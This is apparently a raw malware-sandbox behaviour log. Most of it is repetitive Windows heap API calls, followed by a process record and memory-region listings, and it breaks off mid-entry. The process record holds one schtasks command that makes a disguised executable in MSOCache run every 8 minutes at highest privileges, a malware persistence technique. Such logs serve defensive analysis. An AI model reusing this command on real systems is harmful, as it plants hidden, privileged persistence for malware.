MemoryPointer=0x2236c538cc0) returned 0x20 [0134.582] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c538cc0) returned 1 [0134.582] GetProcessHeap () returned 0x2236c530000 [0134.582] GetProcessHeap () returned 0x2236c530000 [0134.582] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53ba90) returned 1 [0134.582] GetProcessHeap () returned 0x2236c530000 [0134.582] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53ba90) returned 0x200 [0134.582] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53ba90) returned 1 [0134.582] GetProcessHeap () returned 0x2236c530000 [0134.582] GetProcessHeap () returned 0x2236c530000 [0134.582] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c534720) returned 1 [0134.582] GetProcessHeap () returned 0x2236c530000 [0134.582] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c534720) returned 0x18 [0134.582] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c534720) returned 1 [0134.583] GetProcessHeap () returned 0x2236c530000 [0134.583] GetProcessHeap () returned 0x2236c530000 [0134.583] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c538b40) returned 1 [0134.583] GetProcessHeap () returned 0x2236c530000 [0134.583] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c538b40) returned 0x20 [0134.583] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c538b40) returned 1 [0134.583] GetProcessHeap () returned 0x2236c530000 [0134.583] GetProcessHeap () returned 0x2236c530000 [0134.583] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c533930) returned 1 [0134.583] GetProcessHeap () returned 0x2236c530000 [0134.583] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c533930) returned 0x14 [0134.583] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c533930) returned 1 [0134.583] GetProcessHeap () returned 0x2236c530000 [0134.583] GetProcessHeap () returned 0x2236c530000 [0134.583] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c533910) returned 1 [0134.583] GetProcessHeap () returned 0x2236c530000 [0134.583] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c533910) returned 0x18 [0134.583] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c533910) returned 1 [0134.583] GetProcessHeap () returned 0x2236c530000 [0134.583] GetProcessHeap () returned 0x2236c530000 [0134.583] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c538c30) returned 1 [0134.583] GetProcessHeap () returned 0x2236c530000 [0134.583] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c538c30) returned 0x20 [0134.584] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c538c30) returned 1 [0134.584] GetProcessHeap () returned 0x2236c530000 [0134.584] GetProcessHeap () returned 0x2236c530000 [0134.584] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c533950) returned 1 [0134.584] GetProcessHeap () returned 0x2236c530000 [0134.584] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c533950) returned 0x16 [0134.584] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c533950) returned 1 [0134.584] GetProcessHeap () returned 0x2236c530000 [0134.584] GetProcessHeap () returned 0x2236c530000 [0134.584] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c534360) returned 1 [0134.584] GetProcessHeap () returned 0x2236c530000 [0134.584] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c534360) returned 0x18 [0134.585] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c534360) returned 1 [0134.585] GetProcessHeap () returned 0x2236c530000 [0134.585] GetProcessHeap () returned 0x2236c530000 [0134.585] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c538b10) returned 1 [0134.585] GetProcessHeap () returned 0x2236c530000 [0134.585] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c538b10) returned 0x20 [0134.585] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c538b10) returned 1 [0134.585] GetProcessHeap () returned 0x2236c530000 [0134.585] GetProcessHeap () returned 0x2236c530000 [0134.585] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c534a80) returned 1 [0134.585] GetProcessHeap () returned 0x2236c530000 [0134.585] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c534a80) returned 0x2 [0134.585] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c534a80) returned 1 [0134.585] GetProcessHeap () returned 0x2236c530000 [0134.585] GetProcessHeap () returned 0x2236c530000 [0134.585] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c5343f0) returned 1 [0134.585] GetProcessHeap () returned 0x2236c530000 [0134.585] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c5343f0) returned 0x20 [0134.586] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c5343f0) returned 1 [0134.586] GetProcessHeap () returned 0x2236c530000 [0134.586] GetProcessHeap () returned 0x2236c530000 [0134.586] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c534440) returned 1 [0134.586] GetProcessHeap () returned 0x2236c530000 [0134.586] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c534440) returned 0x20 [0134.587] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c534440) returned 1 [0134.587] GetProcessHeap () returned 0x2236c530000 [0134.587] GetProcessHeap () returned 0x2236c530000 [0134.587] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c534470) returned 1 [0134.587] GetProcessHeap () returned 0x2236c530000 [0134.587] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c534470) returned 0x20 [0134.587] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c534470) returned 1 [0134.587] GetProcessHeap () returned 0x2236c530000 [0134.587] GetProcessHeap () returned 0x2236c530000 [0134.587] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c533fe0) returned 1 [0134.591] GetProcessHeap () returned 0x2236c530000 [0134.591] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c533fe0) returned 0x20 [0134.592] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c533fe0) returned 1 [0134.592] GetProcessHeap () returned 0x2236c530000 [0134.592] GetProcessHeap () returned 0x2236c530000 [0134.592] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53b3f0) returned 1 [0134.592] GetProcessHeap () returned 0x2236c530000 [0134.592] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53b3f0) returned 0x20 [0134.593] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53b3f0) returned 1 [0134.593] GetProcessHeap () returned 0x2236c530000 [0134.593] GetProcessHeap () returned 0x2236c530000 [0134.593] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53aa50) returned 1 [0134.593] GetProcessHeap () returned 0x2236c530000 [0134.593] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53aa50) returned 0xc [0134.593] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53aa50) returned 1 [0134.593] GetProcessHeap () returned 0x2236c530000 [0134.593] GetProcessHeap () returned 0x2236c530000 [0134.593] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53b390) returned 1 [0134.593] GetProcessHeap () returned 0x2236c530000 [0134.593] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53b390) returned 0x20 [0134.594] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53b390) returned 1 [0134.594] GetProcessHeap () returned 0x2236c530000 [0134.594] GetProcessHeap () returned 0x2236c530000 [0134.594] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c534320) returned 1 [0134.594] GetProcessHeap () returned 0x2236c530000 [0134.594] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c534320) returned 0x30 [0134.595] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c534320) returned 1 [0134.595] GetProcessHeap () returned 0x2236c530000 [0134.595] GetProcessHeap () returned 0x2236c530000 [0134.595] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53b450) returned 1 [0134.595] GetProcessHeap () returned 0x2236c530000 [0134.595] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53b450) returned 0x20 [0134.596] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53b450) returned 1 [0134.596] GetProcessHeap () returned 0x2236c530000 [0134.596] GetProcessHeap () returned 0x2236c530000 [0134.596] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c533b50) returned 1 [0134.596] GetProcessHeap () returned 0x2236c530000 [0134.596] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c533b50) returned 0x30 [0134.597] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c533b50) returned 1 [0134.597] GetProcessHeap () returned 0x2236c530000 [0134.597] GetProcessHeap () returned 0x2236c530000 [0134.597] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53b720) returned 1 [0134.597] GetProcessHeap () returned 0x2236c530000 [0134.597] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53b720) returned 0x20 [0134.598] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53b720) returned 1 [0134.598] GetProcessHeap () returned 0x2236c530000 [0134.598] GetProcessHeap () returned 0x2236c530000 [0134.598] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53aa70) returned 1 [0134.598] GetProcessHeap () returned 0x2236c530000 [0134.598] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53aa70) returned 0x16 [0134.598] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53aa70) returned 1 [0134.598] GetProcessHeap () returned 0x2236c530000 [0134.598] GetProcessHeap () returned 0x2236c530000 [0134.598] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53b810) returned 1 [0134.598] GetProcessHeap () returned 0x2236c530000 [0134.598] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53b810) returned 0x20 [0134.599] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53b810) returned 1 [0134.599] GetProcessHeap () returned 0x2236c530000 [0134.599] GetProcessHeap () returned 0x2236c530000 [0134.599] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53ab30) returned 1 [0134.599] GetProcessHeap () returned 0x2236c530000 [0134.599] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53ab30) returned 0x16 [0134.599] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53ab30) returned 1 [0134.599] GetProcessHeap () returned 0x2236c530000 [0134.599] GetProcessHeap () returned 0x2236c530000 [0134.600] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53b540) returned 1 [0134.600] GetProcessHeap () returned 0x2236c530000 [0134.600] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53b540) returned 0x20 [0134.600] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53b540) returned 1 [0134.600] GetProcessHeap () returned 0x2236c530000 [0134.600] GetProcessHeap () returned 0x2236c530000 [0134.600] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c54f8a0) returned 1 [0134.600] GetProcessHeap () returned 0x2236c530000 [0134.600] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c54f8a0) returned 0x82 [0134.601] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c54f8a0) returned 1 [0134.601] GetProcessHeap () returned 0x2236c530000 [0134.601] GetProcessHeap () returned 0x2236c530000 [0134.601] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53ba50) returned 1 [0134.601] GetProcessHeap () returned 0x2236c530000 [0134.601] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53ba50) returned 0x20 [0134.602] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53ba50) returned 1 [0134.602] GetProcessHeap () returned 0x2236c530000 [0134.602] GetProcessHeap () returned 0x2236c530000 [0134.602] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53a990) returned 1 [0134.602] GetProcessHeap () returned 0x2236c530000 [0134.602] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53a990) returned 0xe [0134.602] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53a990) returned 1 [0134.602] GetProcessHeap () returned 0x2236c530000 [0134.602] GetProcessHeap () returned 0x2236c530000 [0134.602] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53b9c0) returned 1 [0134.602] GetProcessHeap () returned 0x2236c530000 [0134.602] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53b9c0) returned 0x20 [0134.603] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53b9c0) returned 1 [0134.603] GetProcessHeap () returned 0x2236c530000 [0134.603] GetProcessHeap () returned 0x2236c530000 [0134.603] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53a9b0) returned 1 [0134.603] GetProcessHeap () returned 0x2236c530000 [0134.603] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53a9b0) returned 0xc [0134.603] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53a9b0) returned 1 [0134.606] GetProcessHeap () returned 0x2236c530000 [0134.606] GetProcessHeap () returned 0x2236c530000 [0134.606] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53b930) returned 1 [0134.606] GetProcessHeap () returned 0x2236c530000 [0134.606] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53b930) returned 0x20 [0134.607] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53b930) returned 1 [0134.607] GetProcessHeap () returned 0x2236c530000 [0134.607] GetProcessHeap () returned 0x2236c530000 [0134.607] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53a9f0) returned 1 [0134.607] GetProcessHeap () returned 0x2236c530000 [0134.607] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53a9f0) returned 0xe [0134.607] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53a9f0) returned 1 [0134.607] GetProcessHeap () returned 0x2236c530000 [0134.607] GetProcessHeap () returned 0x2236c530000 [0134.607] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53b480) returned 1 [0134.607] GetProcessHeap () returned 0x2236c530000 [0134.607] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53b480) returned 0x20 [0134.608] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53b480) returned 1 [0134.608] GetProcessHeap () returned 0x2236c530000 [0134.608] GetProcessHeap () returned 0x2236c530000 [0134.608] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53a950) returned 1 [0134.608] GetProcessHeap () returned 0x2236c530000 [0134.608] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53a950) returned 0x10 [0134.608] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53a950) returned 1 [0134.608] GetProcessHeap () returned 0x2236c530000 [0134.608] GetProcessHeap () returned 0x2236c530000 [0134.608] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53b9f0) returned 1 [0134.608] GetProcessHeap () returned 0x2236c530000 [0134.608] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53b9f0) returned 0x20 [0134.609] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53b9f0) returned 1 [0134.609] GetProcessHeap () returned 0x2236c530000 [0134.609] GetProcessHeap () returned 0x2236c530000 [0134.609] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c534420) returned 1 [0134.609] GetProcessHeap () returned 0x2236c530000 [0134.609] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c534420) returned 0x18 [0134.609] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c534420) returned 1 [0134.609] GetProcessHeap () returned 0x2236c530000 [0134.609] GetProcessHeap () returned 0x2236c530000 [0134.609] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c534010) returned 1 [0134.609] GetProcessHeap () returned 0x2236c530000 [0134.609] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c534010) returned 0x20 [0134.610] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c534010) returned 1 [0134.610] GetProcessHeap () returned 0x2236c530000 [0134.610] GetProcessHeap () returned 0x2236c530000 [0134.610] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c538a50) returned 1 [0134.610] GetProcessHeap () returned 0x2236c530000 [0134.610] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c538a50) returned 0x20 [0134.611] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c538a50) returned 1 [0134.611] GetProcessHeap () returned 0x2236c530000 [0134.611] GetProcessHeap () returned 0x2236c530000 [0134.611] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c538c90) returned 1 [0134.611] GetProcessHeap () returned 0x2236c530000 [0134.611] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c538c90) returned 0x20 [0134.611] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c538c90) returned 1 [0134.611] GetProcessHeap () returned 0x2236c530000 [0134.611] GetProcessHeap () returned 0x2236c530000 [0134.611] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c538ab0) returned 1 [0134.612] GetProcessHeap () returned 0x2236c530000 [0134.612] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c538ab0) returned 0x20 [0134.612] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c538ab0) returned 1 [0134.612] GetProcessHeap () returned 0x2236c530000 [0134.612] GetProcessHeap () returned 0x2236c530000 [0134.612] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c534040) returned 1 [0134.612] GetProcessHeap () returned 0x2236c530000 [0134.612] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c534040) returned 0x18 [0134.612] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c534040) returned 1 [0134.612] GetProcessHeap () returned 0x2236c530000 [0134.612] GetProcessHeap () returned 0x2236c530000 [0134.612] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c538ba0) returned 1 [0134.612] GetProcessHeap () returned 0x2236c530000 [0134.613] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c538ba0) returned 0x20 [0134.613] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c538ba0) returned 1 [0134.613] GetProcessHeap () returned 0x2236c530000 [0134.613] GetProcessHeap () returned 0x2236c530000 [0134.613] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c538bd0) returned 1 [0134.613] GetProcessHeap () returned 0x2236c530000 [0134.613] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c538bd0) returned 0x20 [0134.613] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c538bd0) returned 1 [0134.613] GetProcessHeap () returned 0x2236c530000 [0134.614] GetProcessHeap () returned 0x2236c530000 [0134.614] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c538d20) returned 1 [0134.614] GetProcessHeap () returned 0x2236c530000 [0134.614] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c538d20) returned 0x20 [0134.614] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c538d20) returned 1 [0134.614] GetProcessHeap () returned 0x2236c530000 [0134.614] GetProcessHeap () returned 0x2236c530000 [0134.614] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c538d50) returned 1 [0134.614] GetProcessHeap () returned 0x2236c530000 [0134.614] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c538d50) returned 0x20 [0134.615] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c538d50) returned 1 [0134.615] GetProcessHeap () returned 0x2236c530000 [0134.615] GetProcessHeap () returned 0x2236c530000 [0134.615] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c538c60) returned 1 [0134.615] GetProcessHeap () returned 0x2236c530000 [0134.615] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c538c60) returned 0x20 [0134.615] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c538c60) returned 1 [0134.615] GetProcessHeap () returned 0x2236c530000 [0134.615] GetProcessHeap () returned 0x2236c530000 [0134.615] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c534060) returned 1 [0134.616] GetProcessHeap () returned 0x2236c530000 [0134.616] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c534060) returned 0x18 [0134.616] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c534060) returned 1 [0134.616] GetProcessHeap () returned 0x2236c530000 [0134.616] GetProcessHeap () returned 0x2236c530000 [0134.616] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c538b70) returned 1 [0134.616] GetProcessHeap () returned 0x2236c530000 [0134.616] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c538b70) returned 0x20 [0134.617] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c538b70) returned 1 [0134.617] GetProcessHeap () returned 0x2236c530000 [0134.617] GetProcessHeap () returned 0x2236c530000 [0134.617] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c534a60) returned 1 [0134.617] GetProcessHeap () returned 0x2236c530000 [0134.617] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c534a60) returned 0x18 [0134.617] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c534a60) returned 1 [0134.617] exit (_Code=0) Thread: id = 158 os_tid = 0x138c Process: id = "15" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x6eb7f000" os_pid = "0x1388" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0x11a8" cmd_line = "schtasks.exe /create /tn \"SystemSettingsS\" /sc MINUTE /mo 8 /tr \"'C:\\MSOCache\\All Users\\SystemSettings.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f443" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3155 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3156 start_va = 0x9d89950000 end_va = 0x9d899cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000009d89950000" filename = "" Region: id = 3157 start_va = 0x9d89a00000 end_va = 0x9d89bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000009d89a00000" filename = "" Region: id = 3158 start_va = 0x2781b6a0000 end_va = 0x2781b6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002781b6a0000" filename = "" Region: id = 3159 start_va = 0x2781b6c0000 end_va = 0x2781b6d4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002781b6c0000" filename = "" Region: id = 3160 start_va = 0x2781b6e0000 end_va = 0x2781b6e3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002781b6e0000" filename = "" Region: id = 3161 start_va = 0x2781b6f0000 end_va = 0x2781b6f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002781b6f0000" filename = "" Region: id = 3162 start_va = 0x2781b700000 end_va = 0x2781b701fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002781b700000" filename = "" Region: id = 3163 start_va = 0x7df5fffc0000 end_va = 0x7ff5fffbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5fffc0000" filename = "" Region: id = 3164 start_va = 0x7ff6b6720000 end_va = 0x7ff6b6742fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6b6720000" filename = "" Region: id = 3165 start_va = 0x7ff6b6f50000 end_va = 0x7ff6b6f8cfff monitored = 1 entry_point = 0x7ff6b6f74550 region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 3166 start_va = 0x7ffb201b0000 end_va = 0x7ffb20370fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3167 start_va = 0x2781b710000 end_va = 0x2781b8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002781b710000" filename = "" Region: id = 3168 start_va = 0x7ffb1feb0000 end_va = 0x7ffb1ff5cfff monitored = 0 entry_point = 0x7ffb1fec81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3169 start_va = 0x7ffb1cf80000 end_va = 0x7ffb1d167fff monitored = 0 entry_point = 0x7ffb1cfaba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3170 start_va = 0x2781b6a0000 end_va = 0x2781b6affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002781b6a0000" filename = "" Region: id = 3171 start_va = 0x7ff6b6620000 end_va = 0x7ff6b671ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6b6620000" filename = "" Region: id = 3172 start_va = 0x2781b8c0000 end_va = 0x2781b97dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = 